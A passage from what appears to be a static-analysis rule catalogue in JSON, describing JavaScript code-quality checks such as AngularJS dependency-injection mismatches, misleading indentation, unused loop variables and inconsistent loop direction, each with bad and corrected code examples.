}]);\n```\nTo solve this problem, the `$http` service has to be listed as a dependency as well:\n\n\n```javascript\nangular.module('myapp')\n       .directive('mydirective', [ '$compile', '$http', function($compile, $http) {\n           // ...\n       }]);\n```\n\n## References\n* AngularJS Developer Guide: [Dependency Injection](https://docs.angularjs.org/guide/di).\n","markdown":"# Dependency mismatch\nAngularJS has built-in support for dependency injection: directives can simply list the services they depend on and AngularJS will provide appropriate instances and pass them as arguments at runtime.\n\nDevelopers have to ensure that the list of dependencies matches the parameter list of the directive's factory function: if a dependency is missing, no service instance will be injected, and the corresponding parameter will default to `undefined`. If a dependency and its corresponding parameter have different names, this makes the code hard to follow, and may even indicate a bug.\n\n\n## Recommendation\nEnsure that declared dependencies and parameters match up.\n\n\n## Example\nThe following example directive declares a single dependency on the `$compile` service, but its factory function has two parameters `$compile` and `$http`. Presumably the second parameter was introduced without adding a corresponding dependency, so the service will not be injected correctly.\n\n\n```javascript\nangular.module('myapp')\n       .directive('mydirective', [ '$compile', function($compile, $http) {\n           // ...\n       }]);\n```\nTo solve this problem, the `$http` service has to be listed as a dependency as well:\n\n\n```javascript\nangular.module('myapp')\n       .directive('mydirective', [ '$compile', '$http', function($compile, $http) {\n           // ...\n       }]);\n```\n\n## References\n* AngularJS Developer Guide: [Dependency Injection](https://docs.angularjs.org/guide/di).\n"},"properties":{"tags":["quality","reliability","correctness","frameworks/angularjs"],"description":"If the injected dependencies of a function go out of sync\n              with its parameters, the function will become difficult to\n              understand and maintain.","id":"js/angular/dependency-injection-mismatch","kind":"problem","name":"Dependency mismatch","precision":"very-high","problem.severity":"warning"}},{"id":"js/angular/missing-explicit-injection","name":"js/angular/missing-explicit-injection","shortDescription":{"text":"Missing explicit dependency injection"},"fullDescription":{"text":"Functions without explicit dependency injections will not work when their parameter names are minified."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Missing explicit dependency injection\nWhen AngularJS injects dependencies into a function that does not have an explicit dependency specification, it matches up dependencies with function parameters by name. This is dangerous, since some source code transformations such as minification may change the names of parameters. Such a renaming will break the AngularJS application.\n\n\n## Recommendation\nDo not use implicit annotations for dependency injected functions when the code is minified later.\n\n\n## Example\nThe following example shows an AngularJS controller with implicit dependency annotations.\n\n\n```javascript\nangular.module('myModule', [])\n    .controller('MyController', function($scope) { // BAD: implicit dependency name\n        // ...\n});\n\n```\nThis is problematic, since the minified version of this controller could look like the following:\n\n\n```javascript\nangular.module('myModule', [])\n    .controller('MyController', function(a) { // BAD: dependency 'a' does not exist\n        // ...\n});\n\n```\nThis would mean that the function is dependency-injected with the dependency named \"a\", which does not exist, leading to a crash at runtime.\n\nInstead, in order to support minification, specify the dependencies with explicit annotations:\n\n\n```javascript\nangular.module('myModule', [])\n    .controller('MyController', ['$scope', function($scope) { // GOOD: explicit dependency name\n        // ...\n}]);\n\n```\n\n## References\n* AngularJS Developer Guide: [Dependency Injection - Implicit Annotation](https://docs.angularjs.org/guide/di#implicit-annotation).\n","markdown":"# Missing explicit dependency injection\nWhen AngularJS injects dependencies into a function that does not have an explicit dependency specification, it matches up dependencies with function parameters by name. This is dangerous, since some source code transformations such as minification may change the names of parameters. Such a renaming will break the AngularJS application.\n\n\n## Recommendation\nDo not use implicit annotations for dependency injected functions when the code is minified later.\n\n\n## Example\nThe following example shows an AngularJS controller with implicit dependency annotations.\n\n\n```javascript\nangular.module('myModule', [])\n    .controller('MyController', function($scope) { // BAD: implicit dependency name\n        // ...\n});\n\n```\nThis is problematic, since the minified version of this controller could look like the following:\n\n\n```javascript\nangular.module('myModule', [])\n    .controller('MyController', function(a) { // BAD: dependency 'a' does not exist\n        // ...\n});\n\n```\nThis would mean that the function is dependency-injected with the dependency named \"a\", which does not exist, leading to a crash at runtime.\n\nInstead, in order to support minification, specify the dependencies with explicit annotations:\n\n\n```javascript\nangular.module('myModule', [])\n    .controller('MyController', ['$scope', function($scope) { // GOOD: explicit dependency name\n        // ...\n}]);\n\n```\n\n## References\n* AngularJS Developer Guide: [Dependency Injection - Implicit Annotation](https://docs.angularjs.org/guide/di#implicit-annotation).\n"},"properties":{"tags":["quality","reliability","correctness","frameworks/angularjs"],"description":"Functions without explicit dependency injections\n                will not work when their parameter names are minified.","id":"js/angular/missing-explicit-injection","kind":"problem","name":"Missing explicit dependency injection","precision":"high","problem.severity":"warning"}},{"id":"js/angular/repeated-dependency-injection","name":"js/angular/repeated-dependency-injection","shortDescription":{"text":"Repeated dependency injection"},"fullDescription":{"text":"Specifying dependency injections of an AngularJS component multiple times overrides earlier specifications."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Repeated dependency injection\nAngularJS components can have a `$inject` property that specifies the dependencies to inject. You can assign this property multiple times, but doing so is confusing since later assignments overwrite earlier ones, and only the dependencies specified in the last assignment are actually injected.\n\n\n## Recommendation\nOnly specify dependencies once for each component.\n\n\n## Example\nThe following example shows an AngularJS controller that has its dependencies specified twice.\n\n\n```javascript\nfunction myController($scope, $filter) {\n    // ...\n}\nmyController.$inject = [\"$scope\", \"$cookies\"]; // BAD: always overridden\n// ...\nmyController.$inject = [\"$scope\", \"$filter\"];\nangular.module('myModule', []).controller('MyController', myController);\n\n```\nThis is problematic, since the second specification always overrides the first one.\n\nInstead, the dependencies should only be specified once:\n\n\n```javascript\nfunction myController($scope, $filter) {\n    // ...\n}\nmyController.$inject = [\"$scope\", \"$filter\"]; // GOOD: specified once\nangular.module('myModule', []).controller('MyController', myController);\n\n```\n\n## References\n* AngularJS Developer Guide: [Dependency Injection](https://docs.angularjs.org/guide/di).\n","markdown":"# Repeated dependency injection\nAngularJS components can have a `$inject` property that specifies the dependencies to inject. You can assign this property multiple times, but doing so is confusing since later assignments overwrite earlier ones, and only the dependencies specified in the last assignment are actually injected.\n\n\n## Recommendation\nOnly specify dependencies once for each component.\n\n\n## Example\nThe following example shows an AngularJS controller that has its dependencies specified twice.\n\n\n```javascript\nfunction myController($scope, $filter) {\n    // ...\n}\nmyController.$inject = [\"$scope\", \"$cookies\"]; // BAD: always overridden\n// ...\nmyController.$inject = [\"$scope\", \"$filter\"];\nangular.module('myModule', []).controller('MyController', myController);\n\n```\nThis is problematic, since the second specification always overrides the first one.\n\nInstead, the dependencies should only be specified once:\n\n\n```javascript\nfunction myController($scope, $filter) {\n    // ...\n}\nmyController.$inject = [\"$scope\", \"$filter\"]; // GOOD: specified once\nangular.module('myModule', []).controller('MyController', myController);\n\n```\n\n## References\n* AngularJS Developer Guide: [Dependency Injection](https://docs.angularjs.org/guide/di).\n"},"properties":{"tags":["quality","maintainability","readability","frameworks/angularjs"],"description":"Specifying dependency injections of an AngularJS component multiple times overrides earlier specifications.","id":"js/angular/repeated-dependency-injection","kind":"problem","name":"Repeated dependency injection","precision":"high","problem.severity":"warning"}},{"id":"js/angular/incompatible-service","name":"js/angular/incompatible-service","shortDescription":{"text":"Incompatible dependency injection"},"fullDescription":{"text":"Dependency-injecting a service of the wrong kind causes an error at runtime."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Incompatible dependency injection\nAngularJS has built-in support for dependency injection: components can simply list the names of the services they depend on, and AngularJS will provide appropriate instances and pass them as arguments at runtime.\n\nEach injected service has a kind, this kind influences which components the service is compatible with.\n\n\n## Recommendation\nEnsure that declared dependencies have the right kind for the component they are injected into.\n\n\n## Example\nThe following example shows a `config`-method that lists a dependency on a service named `year`. Later, a service of kind `value` is defined with the name `year`. This is not allowed, since `config`-methods can only be injected with services of kind `provider` or `constant`.\n\n\n```javascript\nangular.module('myModule', [])\n    .config(['year', function(year) {\n        // ...\n    }]);\n\nangular.module('myModule')\n    .value('year', 2000); // BAD: year is of kind 'value'\n\n```\nTo solve this problem, the `year` service has to be of kind `constant`.\n\n\n```javascript\nangular.module('myModule', [])\n    .config(['year', function(year) {\n        // ...\n    }]);\n\nangular.module('myModule')\n    .constant('year', 2000); // GOOD: year is of kind 'constant'\n\n```\n\n## References\n* AngularJS Developer Guide: [Dependency Injection](https://docs.angularjs.org/guide/di).\n","markdown":"# Incompatible dependency injection\nAngularJS has built-in support for dependency injection: components can simply list the names of the services they depend on, and AngularJS will provide appropriate instances and pass them as arguments at runtime.\n\nEach injected service has a kind, this kind influences which components the service is compatible with.\n\n\n## Recommendation\nEnsure that declared dependencies have the right kind for the component they are injected into.\n\n\n## Example\nThe following example shows a `config`-method that lists a dependency on a service named `year`. Later, a service of kind `value` is defined with the name `year`. This is not allowed, since `config`-methods can only be injected with services of kind `provider` or `constant`.\n\n\n```javascript\nangular.module('myModule', [])\n    .config(['year', function(year) {\n        // ...\n    }]);\n\nangular.module('myModule')\n    .value('year', 2000); // BAD: year is of kind 'value'\n\n```\nTo solve this problem, the `year` service has to be of kind `constant`.\n\n\n```javascript\nangular.module('myModule', [])\n    .config(['year', function(year) {\n        // ...\n    }]);\n\nangular.module('myModule')\n    .constant('year', 2000); // GOOD: year is of kind 'constant'\n\n```\n\n## References\n* AngularJS Developer Guide: [Dependency Injection](https://docs.angularjs.org/guide/di).\n"},"properties":{"tags":["quality","reliability","correctness","frameworks/angularjs"],"description":"Dependency-injecting a service of the wrong kind causes an error at runtime.","id":"js/angular/incompatible-service","kind":"problem","name":"Incompatible dependency injection","precision":"high","problem.severity":"error"}},{"id":"js/angular/duplicate-dependency","name":"js/angular/duplicate-dependency","shortDescription":{"text":"Duplicate dependency"},"fullDescription":{"text":"Repeated dependency names are redundant for AngularJS dependency injection."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Duplicate dependency\nDependency injection in AngularJS is done by providing the names of the desired dependencies. Providing the same name multiple times is redundant since the AngularJS injector uses a cache for instantiated dependencies.\n\n\n## Recommendation\nOnly include the name of each dependency once.\n\n\n## Example\nThe following example shows an AngularJS controller with `$cookies` as a duplicate dependency.\n\n\n```javascript\nangular.module('myModule', [])\n    .controller('MyController', ['$scope',\n                                 '$cookies',\n                                 '$cookies', // REDUNDANT\n                                 function($scope, , $cookies1, $cookies2) {\n        // ...\n    });\n\n```\nThis is problematic, since the programmer could be led to believe that the two parameters `$cookies1` and `$cookies2` are different instances, which they are not.\n\nInstead, the dependency should only be listed once:\n\n\n```javascript\nangular.module('myModule', [])\n    .controller('MyController', ['$scope',\n                                 '$cookies',\n                                 function($scope, $cookies) {\n        // ...\n    });\n\n```\n\n## References\n* AngularJS Developer Guide: [Dependency Injection](https://docs.angularjs.org/guide/di).\n","markdown":"# Duplicate dependency\nDependency injection in AngularJS is done by providing the names of the desired dependencies. Providing the same name multiple times is redundant since the AngularJS injector uses a cache for instantiated dependencies.\n\n\n## Recommendation\nOnly include the name of each dependency once.\n\n\n## Example\nThe following example shows an AngularJS controller with `$cookies` as a duplicate dependency.\n\n\n```javascript\nangular.module('myModule', [])\n    .controller('MyController', ['$scope',\n                                 '$cookies',\n                                 '$cookies', // REDUNDANT\n                                 function($scope, , $cookies1, $cookies2) {\n        // ...\n    });\n\n```\nThis is problematic, since the programmer could be led to believe that the two parameters `$cookies1` and `$cookies2` are different instances, which they are not.\n\nInstead, the dependency should only be listed once:\n\n\n```javascript\nangular.module('myModule', [])\n    .controller('MyController', ['$scope',\n                                 '$cookies',\n                                 function($scope, $cookies) {\n        // ...\n    });\n\n```\n\n## References\n* AngularJS Developer Guide: [Dependency Injection](https://docs.angularjs.org/guide/di).\n"},"properties":{"tags":["quality","maintainability","readability","frameworks/angularjs"],"description":"Repeated dependency names are redundant for AngularJS dependency injection.","id":"js/angular/duplicate-dependency","kind":"problem","name":"Duplicate dependency","precision":"very-high","problem.severity":"warning"}},{"id":"js/use-of-returnless-function","name":"js/use-of-returnless-function","shortDescription":{"text":"Use of returnless function"},"fullDescription":{"text":"Using the return value of a function that does not return an expression is indicative of a mistake."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Use of returnless function\nJavaScript functions that do not return an expression will implicitly return `undefined`. Using the implicit return value from such a function is not an error in itself, but it is a pattern indicating that some misunderstanding has occurred.\n\n\n## Recommendation\nDo not use the return value from a function that does not return an expression.\n\n\n## Example\nIn the example below, the function `renderText` is used to render text through side effects, and the function does not return an expression. However, the programmer still uses the return value from `renderText` as if the function returned an expression, which is clearly an error.\n\n\n```javascript\nvar stage = require(\"./stage\")\n\nfunction renderText(text, id) {\n    document.getElementById(id).innerText = text;\n}\n\nvar text = renderText(\"Two households, both alike in dignity\", \"scene\");\n\nstage.show(text);\n```\nThe program can be fixed either by removing the use of the value returned by `renderText`, or by changing the `renderText` function to return an expression.\n\n\n## References\n* Mozilla Developer Network: [Return](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/return).\n","markdown":"# Use of returnless function\nJavaScript functions that do not return an expression will implicitly return `undefined`. Using the implicit return value from such a function is not an error in itself, but it is a pattern indicating that some misunderstanding has occurred.\n\n\n## Recommendation\nDo not use the return value from a function that does not return an expression.\n\n\n## Example\nIn the example below, the function `renderText` is used to render text through side effects, and the function does not return an expression. However, the programmer still uses the return value from `renderText` as if the function returned an expression, which is clearly an error.\n\n\n```javascript\nvar stage = require(\"./stage\")\n\nfunction renderText(text, id) {\n    document.getElementById(id).innerText = text;\n}\n\nvar text = renderText(\"Two households, both alike in dignity\", \"scene\");\n\nstage.show(text);\n```\nThe program can be fixed either by removing the use of the value returned by `renderText`, or by changing the `renderText` function to return an expression.\n\n\n## References\n* Mozilla Developer Network: [Return](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/return).\n"},"properties":{"tags":["quality","reliability","correctness"],"description":"Using the return value of a function that does not return an expression is indicative of a mistake.","id":"js/use-of-returnless-function","kind":"problem","name":"Use of returnless function","precision":"high","problem.severity":"warning"}},{"id":"js/misleading-indentation-of-dangling-else","name":"js/misleading-indentation-of-dangling-else","shortDescription":{"text":"Misleading indentation of dangling 'else'"},"fullDescription":{"text":"The 'else' clause of an 'if' statement should be aligned with the 'if' it belongs to."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Misleading indentation of dangling 'else'\nIn JavaScript, an `else` clause is always associated with the closest preceding `if` statement that does not already have an `else` clause. It is good practice to use indentation to clarify this structure by indenting matching `if` ... `else` pairs by the same amount of whitespace.\n\nIndenting the `else` clause of a nested `if` statement to suggest that it matches an outer `if` statement (instead of the one it actually belongs to) is confusing to readers and may even indicate a bug in the program logic.\n\n\n## Recommendation\nEnsure that matching `if` ... `else` pairs are indented accordingly.\n\n\n## Example\nIn the following example, the `else` on line 5 belongs to the `if` on line 3, while its indentation wrongly suggests that it belongs to the `if` on line 2.\n\n\n```javascript\nfunction f() {\n\tif (cond1())\n\t\tif (cond2())\n\t\t\treturn 23;\n\telse\n\t\treturn 42;\n\treturn 56;\n}\n\n```\nTo correct this issue, indent the `else` on line 5 further:\n\n\n```javascript\nfunction f() {\n\tif (cond1())\n\t\tif (cond2())\n\t\t\treturn 23;\n\t\telse\n\t\t\treturn 42;\n\treturn 56;\n}\n\n```\nConfusion about which `if` belongs to which `else` can also be avoided by always enclosing the branches of an `if` statement in curly braces:\n\n\n```javascript\nfunction f() {\n\tif (cond1()) {\n\t\tif (cond2()) {\n\t\t\treturn 23;\n\t\t} else {\n\t\t\treturn 42;\n\t\t}\n\t}\n\treturn 56;\n}\n\n```\n\n## References\n* Wikipedia: [Dangling else](http://en.wikipedia.org/wiki/Dangling_else).\n* Common Weakness Enumeration: [CWE-483](https://cwe.mitre.org/data/definitions/483.html).\n","markdown":"# Misleading indentation of dangling 'else'\nIn JavaScript, an `else` clause is always associated with the closest preceding `if` statement that does not already have an `else` clause. It is good practice to use indentation to clarify this structure by indenting matching `if` ... `else` pairs by the same amount of whitespace.\n\nIndenting the `else` clause of a nested `if` statement to suggest that it matches an outer `if` statement (instead of the one it actually belongs to) is confusing to readers and may even indicate a bug in the program logic.\n\n\n## Recommendation\nEnsure that matching `if` ... `else` pairs are indented accordingly.\n\n\n## Example\nIn the following example, the `else` on line 5 belongs to the `if` on line 3, while its indentation wrongly suggests that it belongs to the `if` on line 2.\n\n\n```javascript\nfunction f() {\n\tif (cond1())\n\t\tif (cond2())\n\t\t\treturn 23;\n\telse\n\t\treturn 42;\n\treturn 56;\n}\n\n```\nTo correct this issue, indent the `else` on line 5 further:\n\n\n```javascript\nfunction f() {\n\tif (cond1())\n\t\tif (cond2())\n\t\t\treturn 23;\n\t\telse\n\t\t\treturn 42;\n\treturn 56;\n}\n\n```\nConfusion about which `if` belongs to which `else` can also be avoided by always enclosing the branches of an `if` statement in curly braces:\n\n\n```javascript\nfunction f() {\n\tif (cond1()) {\n\t\tif (cond2()) {\n\t\t\treturn 23;\n\t\t} else {\n\t\t\treturn 42;\n\t\t}\n\t}\n\treturn 56;\n}\n\n```\n\n## References\n* Wikipedia: [Dangling else](http://en.wikipedia.org/wiki/Dangling_else).\n* Common Weakness Enumeration: [CWE-483](https://cwe.mitre.org/data/definitions/483.html).\n"},"properties":{"tags":["quality","maintainability","readability","statistical","non-attributable","external/cwe/cwe-483"],"description":"The 'else' clause of an 'if' statement should be aligned with the 'if' it belongs to.","id":"js/misleading-indentation-of-dangling-else","kind":"problem","name":"Misleading indentation of dangling 'else'","precision":"very-high","problem.severity":"warning"}},{"id":"js/unused-loop-variable","name":"js/unused-loop-variable","shortDescription":{"text":"Unused loop iteration variable"},"fullDescription":{"text":"A loop iteration variable is unused, which suggests an error."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Unused loop iteration variable\nMost `for...in` and `for...of` statements use their iteration variable in the loop body, unless they simply count the number of iterations by incrementing a loop counter in the loop body, or check whether the loop body is executed at all. Loops that do not use their iteration variable but do not fall into one of these two categories may indicate a logic error or typo.\n\n\n## Recommendation\nCarefully check whether the loop variable should be used. If the variable is genuinely not being used and the code is correct, consider renaming the variable to `_` or `unused` to indicate to readers of the code that it is intentionally unused.\n\n\n## Example\nIn this example, the `for...of` loop iteration variable `x` is never used. It appears that the function is intended to count how many elements of the array `xs` satisfy the filter predicate `p`, but the programmer forgot to actually pass `x` as an argument to `p`.\n\n\n```javascript\nfunction countOccurrences(xs, p) {\n\tvar count = 0;\n\tfor (let x of xs)\n\t\tif (p())\n\t\t\t++count;\n\treturn count;\n}\n```\nTo fix this issue, the call `p()` should be replaced by `p(x)`.\n\n\n## References\n* Mozilla Developer Network: [for...in](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...in).\n* Mozilla Developer Network: [for...of](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...of).\n","markdown":"# Unused loop iteration variable\nMost `for...in` and `for...of` statements use their iteration variable in the loop body, unless they simply count the number of iterations by incrementing a loop counter in the loop body, or check whether the loop body is executed at all. Loops that do not use their iteration variable but do not fall into one of these two categories may indicate a logic error or typo.\n\n\n## Recommendation\nCarefully check whether the loop variable should be used. If the variable is genuinely not being used and the code is correct, consider renaming the variable to `_` or `unused` to indicate to readers of the code that it is intentionally unused.\n\n\n## Example\nIn this example, the `for...of` loop iteration variable `x` is never used. It appears that the function is intended to count how many elements of the array `xs` satisfy the filter predicate `p`, but the programmer forgot to actually pass `x` as an argument to `p`.\n\n\n```javascript\nfunction countOccurrences(xs, p) {\n\tvar count = 0;\n\tfor (let x of xs)\n\t\tif (p())\n\t\t\t++count;\n\treturn count;\n}\n```\nTo fix this issue, the call `p()` should be replaced by `p(x)`.\n\n\n## References\n* Mozilla Developer Network: [for...in](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...in).\n* Mozilla Developer Network: [for...of](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...of).\n"},"properties":{"tags":["quality","reliability","correctness"],"description":"A loop iteration variable is unused, which suggests an error.","id":"js/unused-loop-variable","kind":"problem","name":"Unused loop iteration variable","precision":"high","problem.severity":"error"}},{"id":"js/misleading-indentation-after-control-statement","name":"js/misleading-indentation-after-control-statement","shortDescription":{"text":"Misleading indentation after control statement"},"fullDescription":{"text":"The body of a control statement should have appropriate indentation to clarify which statements it controls and which ones it does not control."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Misleading indentation after control statement\nLoop bodies and the 'then' and 'else' branches of `if` statements can either be block statements delimited by curly braces, or simple statements. In the latter case, special care must be taken to correctly indent statements to indicate whether or not they belong to the body of the loop or the `if` statement. In particular, the statement immediately after the loop or `if` statement should not be indented by the same amount as the body to avoid misunderstanding of the control flow structure.\n\n\n## Recommendation\nUse additional indentation to set loop bodies and then/else branches apart, but use the same amount of indentation for statements that follow each other in a sequence of statements.\n\n\n## Example\nIn this example, the 'then' branch of the `if` statement consists of the single statement `scream();`. Indentation makes it appear as if the statement `runAway();` also belongs to the 'then' branch, while in fact it does not: it is simply the next statement after the `if`, and will be executed regardless of whether the condition `afraid()` evaluates to true or false.\n\n\n```javascript\nif (afraid())\n\tscream();\n\trunAway();\n```\nIf both statements were intended to be part of the 'then' branch, they should be enclosed in a block of statements like this:\n\n\n```javascript\nif (afraid()) {\n\tscream();\n\trunAway();\n}\n```\nIf the second statement does not logically belong in the 'then' branch, its indentation should be decreased like this:\n\n\n```javascript\nif (afraid())\n\tscream();\nrunAway();\n```\n\n## References\n* Tutorialzine: [10 Mistakes That JavaScript Beginners Often Make](http://tutorialzine.com/2014/04/10-mistakes-javascript-beginners-make/).\n* Common Weakness Enumeration: [CWE-483](https://cwe.mitre.org/data/definitions/483.html).\n","markdown":"# Misleading indentation after control statement\nLoop bodies and the 'then' and 'else' branches of `if` statements can either be block statements delimited by curly braces, or simple statements. In the latter case, special care must be taken to correctly indent statements to indicate whether or not they belong to the body of the loop or the `if` statement. In particular, the statement immediately after the loop or `if` statement should not be indented by the same amount as the body to avoid misunderstanding of the control flow structure.\n\n\n## Recommendation\nUse additional indentation to set loop bodies and then/else branches apart, but use the same amount of indentation for statements that follow each other in a sequence of statements.\n\n\n## Example\nIn this example, the 'then' branch of the `if` statement consists of the single statement `scream();`. Indentation makes it appear as if the statement `runAway();` also belongs to the 'then' branch, while in fact it does not: it is simply the next statement after the `if`, and will be executed regardless of whether the condition `afraid()` evaluates to true or false.\n\n\n```javascript\nif (afraid())\n\tscream();\n\trunAway();\n```\nIf both statements were intended to be part of the 'then' branch, they should be enclosed in a block of statements like this:\n\n\n```javascript\nif (afraid()) {\n\tscream();\n\trunAway();\n}\n```\nIf the second statement does not logically belong in the 'then' branch, its indentation should be decreased like this:\n\n\n```javascript\nif (afraid())\n\tscream();\nrunAway();\n```\n\n## References\n* Tutorialzine: [10 Mistakes That JavaScript Beginners Often Make](http://tutorialzine.com/2014/04/10-mistakes-javascript-beginners-make/).\n* Common Weakness Enumeration: [CWE-483](https://cwe.mitre.org/data/definitions/483.html).\n"},"properties":{"tags":["quality","maintainability","readability","statistical","non-attributable","external/cwe/cwe-483"],"description":"The body of a control statement should have appropriate indentation to clarify which\n              statements it controls and which ones it does not control.","id":"js/misleading-indentation-after-control-statement","kind":"problem","name":"Misleading indentation after control statement","precision":"very-high","problem.severity":"warning"}},{"id":"js/inconsistent-loop-direction","name":"js/inconsistent-loop-direction","shortDescription":{"text":"Inconsistent direction of for loop"},"fullDescription":{"text":"A 'for' loop that increments its loop variable but checks it against a lower bound, or decrements its loop variable but checks it against an upper bound, will either stop iterating immediately or keep iterating indefinitely, and is usually indicative of a typo."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Inconsistent direction of for loop\nMost `for` loops either increment a variable until an upper bound is reached, or decrement a variable until a lower bound is reached. If, instead, the variable is incremented but checked against a lower bound, or decremented but checked against an upper bound, then the loop will either terminate immediately and never execute its body, or it will keep iterating indefinitely. Neither is likely to be intentional, and is most likely the result of a typo.\n\n\n## Recommendation\nExamine the loop carefully to check whether its test expression or update expression are erroneous.\n\n\n## Example\nIn the following example, two loops are used to set all elements of an array `a` outside a range `lower`..`upper` to zero. However, the second loop contains a typo: the loop variable `i` is decremented instead of incremented, so `i` is counted downwards from `upper+1` to `0`, `-1`, `-2` and so on.\n\n\n```javascript\n// zero out everything below index `lower`\nfor (i=lower-1; i>=0; --i)\n    a[i] = 0;\n\n// zero out everything above index `upper`\nfor (i=upper+1; i<a.length; --i)\n    a[i] = 0;\n\n```\nTo correct this issue, change the second loop to increment its loop variable instead:\n\n\n```javascript\n// zero out everything below index `lower`\nfor (i=lower-1; i>=0; --i)\n    a[i] = 0;\n\n// zero out everything above index `upper`\nfor (i=upper+1; i<a.length; ++i)\n    a[i] = 0;\n\n```\n\n## References\n* Mozilla Developer Network: [for](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for).\n* Common Weakness Enumeration: [CWE-835](https://cwe.mitre.org/data/definitions/835.html).\n","markdown":"# Inconsistent direction of for loop\nMost `for` loops either increment a variable until an upper bound is reached, or decrement a variable until a lower bound is reached. If, instead, the variable is incremented but checked against a lower bound, or decremented but checked against an upper bound, then the loop will either terminate immediately and never execute its body, or it will keep iterating indefinitely. Neither is likely to be intentional, and is most likely the result of a typo.\n\n\n## Recommendation\nExamine the loop carefully to check whether its test expression or update expression are erroneous.\n\n\n## Example\nIn the following example, two loops are used to set all elements of an array `a` outside a range `lower`..`upper` to zero. However, the second loop contains a typo: the loop variable `i` is decremented instead of incremented, so `i` is counted downwards from `upper+1` to `0`, `-1`, `-2` and so on.\n\n\n```javascript\n// zero out everything below index `lower`\nfor (i=lower-1; i>=0; --i)\n    a[i] = 0;\n\n// zero out everything above index `upper`\nfor (i=upper+1; i<a.length; --i)\n    a[i] = 0;\n\n```\nTo correct this issue, change the second loop to increment its loop variable instead:\n\n\n```javascript\n// zero out everything below index `lower`\nfor (i=lower-1; i>=0; --i)\n    a[i] = 0;\n\n// zero out everything above index `upper`\nfor (i=upper+1; i<a.length; ++i)\n    a[i] = 0;\n\n```\n\n## References\n* Mozilla Developer Network: [for](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for).\n* Common Weakness Enumeration: [CWE-835](https://cwe.mitre.org/data/definitions/835.html).\n"},"properties":{"tags":["quality","reliability","correctness","external/cwe/cwe-835"],"description":"A 'for' loop that increments its loop variable but checks it\n              against a lower bound, or decrements its loop variable but\n              checks it against an upper bound, will either stop iterating\n              immediately or keep iterating indefinitely, and is usually\n              indicative of a typo.","id":"js/inconsistent-loop-direction","kind":"problem","name":"Inconsistent direction of for loop","precision":"very-high","problem.severity":"error"}},{"id":"js/useless-assignment-in-return","name":"js/useless-assignment-in-return","shortDescription":{"text":"Return statement assigns local variable"},"fullDescription":{"text":"An assignment to a local variable in a return statement is useless, since the variable will immediately go out of scope and its value is lost."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Return statement assigns local variable\nAssigning a local variable in a return statement is useless, since the local variable will go out of scope immediately and its new value is lost.\n\n\n## Recommendation\nClosely examine the code in question to understand the original intention. For instance, the assignment may originally have referred to a variable from another scope that accidentally was shadowed due to a renaming; in this case, perform another renaming to make it visible again. Or maybe the assignment was meant to assign to a property of the receiver object and the programmer inadvertently forgot to qualify it by `this`; address this by providing the required qualification. Finally, the assignment may simply be unnecessary, in which case it can be removed.\n\n\n## Example\nIn the following example, the `getName` method of `Person` contains a useless assignment to `name`.\n\n\n```javascript\nfunction Person(first, last, age) {\n\tthis.first = first;\n\tthis.last = last;\n\tthis.age = age;\n}\n\nPerson.prototype.getName = function() {\n\tvar name = first + \" \" + last;\n\treturn name = name.trim();\n};\n```\nThe assignment serves no obvious purpose and should be removed:\n\n\n```javascript\nfunction Person(first, last, age) {\n\tthis.first = first;\n\tthis.last = last;\n\tthis.age = age;\n}\n\nPerson.prototype.getName = function() {\n\tvar name = first + \" \" + last;\n\treturn name.trim();\n};\n```\n\n## References\n* Wikipedia: [Dead store](https://en.wikipedia.org/wiki/Dead_store).\n* Common Weakness Enumeration: [CWE-563](https://cwe.mitre.org/data/definitions/563.html).\n","markdown":"# Return statement assigns local variable\nAssigning a local variable in a return statement is useless, since the local variable will go out of scope immediately and its new value is lost.\n\n\n## Recommendation\nClosely examine the code in question to understand the original intention. For instance, the assignment may originally have referred to a variable from another scope that accidentally was shadowed due to a renaming; in this case, perform another renaming to make it visible again. Or maybe the assignment was meant to assign to a property of the receiver object and the programmer inadvertently forgot to qualify it by `this`; address this by providing the required qualification. Finally, the assignment may simply be unnecessary, in which case it can be removed.\n\n\n## Example\nIn the following example, the `getName` method of `Person` contains a useless assignment to `name`.\n\n\n```javascript\nfunction Person(first, last, age) {\n\tthis.first = first;\n\tthis.last = last;\n\tthis.age = age;\n}\n\nPerson.prototype.getName = function() {\n\tvar name = first + \" \" + last;\n\treturn name = name.trim();\n};\n```\nThe assignment serves no obvious purpose and should be removed:\n\n\n```javascript\nfunction Person(first, last, age) {\n\tthis.first = first;\n\tthis.last = last;\n\tthis.age = age;\n}\n\nPerson.prototype.getName = function() {\n\tvar name = first + \" \" + last;\n\treturn name.trim();\n};\n```\n\n## References\n* Wikipedia: [Dead store](https://en.wikipedia.org/wiki/Dead_store).\n* Common Weakness Enumeration: [CWE-563](https://cwe.mitre.org/data/definitions/563.html).\n"},"properties":{"tags":["quality","reliability","correctness","external/cwe/cwe-563"],"description":"An assignment to a local variable in a return statement is useless, since the variable will\n              immediately go out of scope and its value is lost.","id":"js/useless-assignment-in-return","kind":"problem","name":"Return statement assigns local variable","precision":"very-high","problem.severity":"warning"}},{"id":"js/ignore-array-result","name":"js/ignore-array-result","shortDescription":{"text":"Ignoring result from pure array method"},"fullDescription":{"text":"Ignoring the result of an array method that does not modify its receiver is generally an error."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Ignoring result from pure array method\nThe `concat`, `join` and `slice` methods are pure and do not modify any of the inputs or the array the method is called on. It is therefore generally an error to ignore the return value from a call to one of these methods.\n\n\n## 